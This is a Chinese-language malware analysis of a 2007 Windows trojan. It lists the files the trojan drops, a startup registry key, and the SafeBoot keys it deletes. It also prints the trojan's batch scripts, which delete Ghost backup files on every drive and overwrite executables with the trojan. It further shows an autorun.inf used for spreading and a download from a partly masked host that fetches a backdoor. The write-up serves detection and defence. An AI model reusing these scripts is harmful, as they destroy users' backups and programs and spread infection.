病毒介紹
病毒別名： 處理時間：2007-04-14 威脅級別：★
中文名稱： 病毒類型：木馬 影響系統：Win 9x/ME,Win 2000/NT,Win XP,Win 2003
病毒行為:
該病毒是一個木馬。該病毒會直接替換系統盤program files和其他盤目錄下的exe檔案檔案和刪除gho備份檔案，同時該病毒還有下載並運行一灰鴿子病毒。
主要功能
1、生成的檔案
%SystemRoot%\system32\loveRabbit~.exe
%SystemRoot%\system32\MS006TZ.dll.exe
%SystemRoot%\system32\Rabbit.exe
%SystemRoot%\ILTZ.bat
%SystemRoot%\IOTZ.bat
%SystemRoot%\DLL.bat
%SystemRoot%\GHO.bat
%SystemRoot%\ILTZ.inf
%SystemRoot%\system32\JK~.exe
%SystemRoot%\system32\msexch400.dll
%SystemRoot%\system32\sha~.bat
%C:%\Rabbit.exe
%C:%\AutoRun.inf
2、添加啟動項
HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\\
"StubPath" = "%SystemRoot%\system32\JK~.exe"
3、刪除以下鍵：
SYSTEM\CurrentControlSet\Control\safeboot\Minimal\
SYSTEM\CurrentControlSet\Control\SafeBoot\Network\
4、執行%SystemRoot%\ILTZ.bat檔案，將d到z盤的exe檔案路徑記錄在ILTZ.inf檔案，將c盤到z盤的ghost備份檔案路徑記錄到GHO.inf檔案和將系統盤下program files目錄下的exe檔案路徑記錄在IOTZ.inf檔案
---------------------------------------------------------
set /A r=%random%
FOR %%a in ( d: e: f: g: h: i: j: k: l: m: n: o: p: q: r: s: t: u: v: w: s: y: z: ) do dir /s /b %%a\*.exe >>%windir%\ILTZ.inf
FOR %%a in ( c: d: e: f: g: h: i: j: k: l: m: n: o: p: q: r: s: t: u: v: w: s: y: z: ) do dir /a:- /b %%a\*.gho>>%windir%\GHO.inf
cd %windir%
cd..
cd Program Files
dir *.exe /s /b >>%windir%\IOTZ.inf
IOTZ.bat
GHO.bat
----------------------------------------------------------
5、執行GHO.bat，IOTZ.bat檔案刪除GHO.inf里指定的路徑的gho檔案和替換ILTZ.inf，IOTZ.inf指定路徑的exe檔案
GHO.bat >
----------------------------------------------------------------
FOR /f "delims=" %%i in (%windir%\GHO.inf) do del /a:- "%%i"
----------------------------------------------------------------
IOTZ.bat >
------------------------------------------------------------------------------------------
FOR /f "delims=" %%i in (%windir%\ILTZ.inf) do copy /y %windir%\system32\Rabbit.exe "%%i"
FOR /f "delims=" %%i in (%windir%\IOTZ.inf) do copy /y %windir%\system32\Rabbit.exe "%%i"
------------------------------------------------------------------------------------------
6、在c，d，e，f，g，h盤裡生成autorun啟動
------------------------------------
【autorun】
Label=本地磁碟
ShellExecute=Rabbit.exe
------------------------------------
7、下載並執行http://www.beecool.***/help.htm腳本，該腳本會下執行載最新版變種和一灰鴿子木馬。
